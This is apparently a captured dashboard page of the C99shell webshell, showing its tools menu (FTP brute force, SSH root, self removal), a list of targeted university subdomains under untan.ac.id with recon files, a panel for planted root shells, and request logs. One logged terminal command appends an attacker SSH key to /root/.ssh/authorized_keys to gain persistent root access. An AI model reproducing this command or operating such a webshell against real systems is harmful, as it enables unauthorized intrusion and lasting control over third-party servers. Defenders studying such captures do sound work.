C99SHELL DASHBOARDc99shell.tail7973d7.ts.net WebshellDBRoot 2026-08-03 07:35:14

!C99SHELL 2.0 [PHP 7 Update] [25.02.2019] !

Software: Apache/2.4.68 (Debian). PHP/8.2.33  

uname -a: Linux 9d2024043b5d 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 7.0.12-2kali1
(2026-06-18) x86_64  

uid=33(www-data) gid=33(www-data) groups=33(www-data)  

Safe-mode: OFF (not secure)

/var/www/html/   drwxr-xr-x
Free 115.67 GB of 452.4 GB (25.57%)

FilesCustom ToolsTargetsSysMonWatchReconCommanderOrigin IPSSH RootTermCoverPushEncoderToolsProc.FTP bruteSec.SQLPHP-codeSystemUpdateFeedbackSelf removeCVE DBLogout


INTEGRITY WATCH webshell safety · intrusion captureWatched: 4724Intact: 324Tampered: 1454New: 2946Missing: 0
Files watched4724
Intact324
Tampered1454
New files2946
Missing0
↻ Re-scan

File integrity — webshell safety

FileSizeModifiedSHA256Status
/var/www/html/c99shell.php329.88 KB03/08/2026 07:30ceed408fc5f4TAMPERED
/var/www/html/mysqli_compat.php16.49 KB03/08/2026 06:35eb1cbabaacd8TAMPERED
/var/www/html/srv_dump.php305 B03/08/2026 04:538431ba3d0257NEW
/var/www/html/targets/webdisk.englishedu.untan.ac.id/recon.json228 B03/08/2026 06:001d277e6da588NEW
/var/www/html/targets/webdisk.englishedu.untan.ac.id/data/README.md1.33 KB03/08/2026 07:03b3719324fc36NEW
/var/www/html/targets/webdisk.englishedu.untan.ac.id/info.txt15 B03/08/2026 06:00fb97dce3f0baTAMPERED
/var/www/html/targets/cpanel.ppm.untan.ac.id/recon.json220 B03/08/2026 05:592268023e018cNEW
/var/www/html/targets/cpanel.ppm.untan.ac.id/data/README.md1.33 KB03/08/2026 07:03b3719324fc36NEW
/var/www/html/targets/cpanel.ppm.untan.ac.id/info.txt3 B03/08/2026 07:132ac9a6746acaTAMPERED
/var/www/html/targets/cpanel.helpdesk.untan.ac.id/recon.json225 B03/08/2026 05:592d048bab564dNEW
/var/www/html/targets/cpanel.helpdesk.untan.ac.id/data/README.md1.33 KB03/08/2026 07:03b3719324fc36NEW
/var/www/html/targets/cpanel.helpdesk.untan.ac.id/info.txt15 B03/08/2026 05:59fb97dce3f0baTAMPERED
/var/www/html/targets/webmail.skpp.untan.ac.id/recon.json222 B03/08/2026 06:0174572adb3994NEW
/var/www/html/targets/webmail.skpp.untan.ac.id/data/README.md1.33 KB03/08/2026 07:03b3719324fc36NEW
/var/www/html/targets/webmail.skpp.untan.ac.id/info.txt15 B03/08/2026 06:01fb97dce3f0baTAMPERED
/var/www/html/targets/webmail.management.untan.ac.id/recon.json228 B03/08/2026 06:01dab850939ea9NEW
/var/www/html/targets/webmail.management.untan.ac.id/data/README.md1.33 KB03/08/2026 07:03b3719324fc36NEW
/var/www/html/targets/webmail.management.untan.ac.id/info.txt3 B03/08/2026 06:402ac9a6746acaTAMPERED
/var/www/html/targets/webmail.icb.untan.ac.id/recon.json221 B03/08/2026 06:01ed9b07ea7bddNEW
/var/www/html/targets/webmail.icb.untan.ac.id/data/README.md1.33 KB03/08/2026 07:03b3719324fc36NEW
showing first 20 of 4400 changes

Intrusion log — every device that hit this agent

Total hits6408
Unique IPs2
Suspicious17
 
 
top IPs:172.17.0.1 x6407 127.0.0.1 x1
TimeIPMethodPath / actionAgentFlag
03/08/2026 07:35:14172.17.0.1GET/c99shell.php?act=watch [watch]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 07:35:14172.17.0.1GET/c99shell.php?act=cve [cve]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 07:35:14172.17.0.1GET/c99shell.php?act=chmod&d=%2Fsys%2Fkernel%2Fiommu_groups&f=7 [chmod]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 07:35:13172.17.0.1GET/c99shell.php?act=chmod&d=%2Fsys%2Fkernel%2Fiommu_groups&f=4 [chmod]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 07:35:13172.17.0.1GET/c99shell.php?act=chmod&d=%2Fsys%2Fkernel%2Fiommu_groups&f=1 [chmod]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 07:35:12172.17.0.1GET/c99shell.php?act=targets [targets]Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36normal
03/08/2026 07:35:12172.17.0.1GET/c99shell.php?act=chmod&d=%2Fsys%2Fkernel%2Fiommu_groups&f=3 [chmod]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 07:35:11172.17.0.1GET/c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A18.3%2Fsubsystem&sort=1d [ls]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 07:35:11172.17.0.1GET/c99shell.php?act=chmod&d=%2Fsys%2Fkernel%2Fiommu_groups&f=0 [chmod]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 07:35:10172.17.0.1GET/c99shell.php?act=chmod&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A14.0%2Fi2c-3&f=uevent [chmod]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 07:35:09172.17.0.1GET/c99shell.php?act=chmod&d=%2Fsys%2Fkernel%2Fiommu_groups&f=6 [chmod]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 07:35:09172.17.0.1GET/c99shell.php?act=chmod&d=%2Fsys%2Fkernel%2Fiommu_groups&f=5 [chmod]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 07:35:08172.17.0.1GET/c99shell.php?act=feedback&d=%2Fsys%2Fkernel%2Fiommu_groups%2F [feedback]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 07:35:08172.17.0.1GET/c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A14.0%2Fi2c-1&sort=2d [ls]Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatiblnormal
03/08/2026 07:35:07127.0.0.1GET/c99shell.php?act=c99terminal&troot=1&tcmd=mkdir+-p+%2Froot%2F.ssh+%26%26+chmod+700+%2Froot%2F.ssh+%26%26+echo+ssh-ed25519+AAAAC3NzaC1lZDI1NTE5AAAAIFzpdvTdca9pUTZj8LLkhiPlqGQDyAfQABXvlWc7x7Da+redhat%40untan+%3E%3E+%2Froot%2F.ssh%2Fauthorized_keys+%26%26+chmod+600+%2Froot%2F.ssh%2Fauthorized_keys+%26 [c99terminal]Commander/2.0suspicious
Page 1 / 428 — 6408 entries[Next >]
live tail — last 25 hits 
[03/08 07:35:14] 172.17.0.1 GET /c99shell.php?act=watch (watch)
[03/08 07:35:14] 172.17.0.1 GET /c99shell.php?act=cve (cve)
[03/08 07:35:14] 172.17.0.1 GET /c99shell.php?act=chmod&d=%2Fsys%2Fkernel%2Fiommu_groups&f=7 (chmod)
[03/08 07:35:13] 172.17.0.1 GET /c99shell.php?act=chmod&d=%2Fsys%2Fkernel%2Fiommu_groups&f=4 (chmod)
[03/08 07:35:13] 172.17.0.1 GET /c99shell.php?act=chmod&d=%2Fsys%2Fkernel%2Fiommu_groups&f=1 (chmod)
[03/08 07:35:12] 172.17.0.1 GET /c99shell.php?act=targets (targets)
[03/08 07:35:12] 172.17.0.1 GET /c99shell.php?act=chmod&d=%2Fsys%2Fkernel%2Fiommu_groups&f=3 (chmod)
[03/08 07:35:11] 172.17.0.1 GET /c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A18.3%2Fsubsystem&sort=1d (ls)
[03/08 07:35:11] 172.17.0.1 GET /c99shell.php?act=chmod&d=%2Fsys%2Fkernel%2Fiommu_groups&f=0 (chmod)
[03/08 07:35:10] 172.17.0.1 GET /c99shell.php?act=chmod&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A14.0%2Fi2c-3&f=uevent (chmod)
[03/08 07:35:09] 172.17.0.1 GET /c99shell.php?act=chmod&d=%2Fsys%2Fkernel%2Fiommu_groups&f=6 (chmod)
[03/08 07:35:09] 172.17.0.1 GET /c99shell.php?act=chmod&d=%2Fsys%2Fkernel%2Fiommu_groups&f=5 (chmod)
[03/08 07:35:08] 172.17.0.1 GET /c99shell.php?act=feedback&d=%2Fsys%2Fkernel%2Fiommu_groups%2F (feedback)
[03/08 07:35:08] 172.17.0.1 GET /c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A14.0%2Fi2c-1&sort=2d (ls)
[03/08 07:35:07] 127.0.0.1 GET /c99shell.php?act=c99terminal&troot=1&tcmd=mkdir+-p+%2Froot%2F.ssh+%26%26+chmod+700+%2Froot%2F.ssh+%26%26+echo+ssh-ed25519+AAAAC3NzaC1lZDI1NTE5AAAAIFzpdvTdca9pUTZj8LLkhiPlqGQDyAfQABXvlWc7x7Da+redhat%40untan+%3E%3E+%2Froot%2F.ssh%2Fauthorized_keys+%26%26+chmod+600+%2Froot%2F.ssh%2Fauthorized_keys+%26 (c99terminal)
[03/08 07:35:07] 172.17.0.1 GET /c99shell.php?act=sshroot&key=1 (sshroot)
[03/08 07:35:06] 172.17.0.1 GET /c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A18.3%2F&pg=4&sort=4d (ls)
[03/08 07:35:06] 172.17.0.1 GET /c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A14.0%2Fi2c-2&sort=2d (ls)
[03/08 07:35:05] 172.17.0.1 GET /c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A14.0%2Fi2c-1&sort=0d (ls)
[03/08 07:35:04] 172.17.0.1 GET /c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A18.1&sort=2d (ls)
[03/08 07:35:03] 172.17.0.1 GET /c99shell.php?act=sshroot (sshroot)
[03/08 07:35:03] 172.17.0.1 GET /c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A18.3%2F&sort=1d (ls)
[03/08 07:35:03] 172.17.0.1 GET /c99shell.php?act=selfremove (selfremove)
[03/08 07:35:03] 172.17.0.1 GET /c99shell.php?act=ls&d=%2Fsys%2Fdevices%2Fpci0000%3A00%2F0000%3A00%3A14.0%2Fi2c-1&sort=4d (ls)
[03/08 07:35:02] 172.17.0.1 GET /c99shell.php?act=phpinfo (phpinfo)
🔴 LIVE

Root shells planted across domains

Domains with shells.txt0
Registered heartbeats1
Alive0
↻ Heartbeat check all
DomainShells.txtShell URLLast checkCodeAlive

Register / update shell URL

Domain:  Shell URL: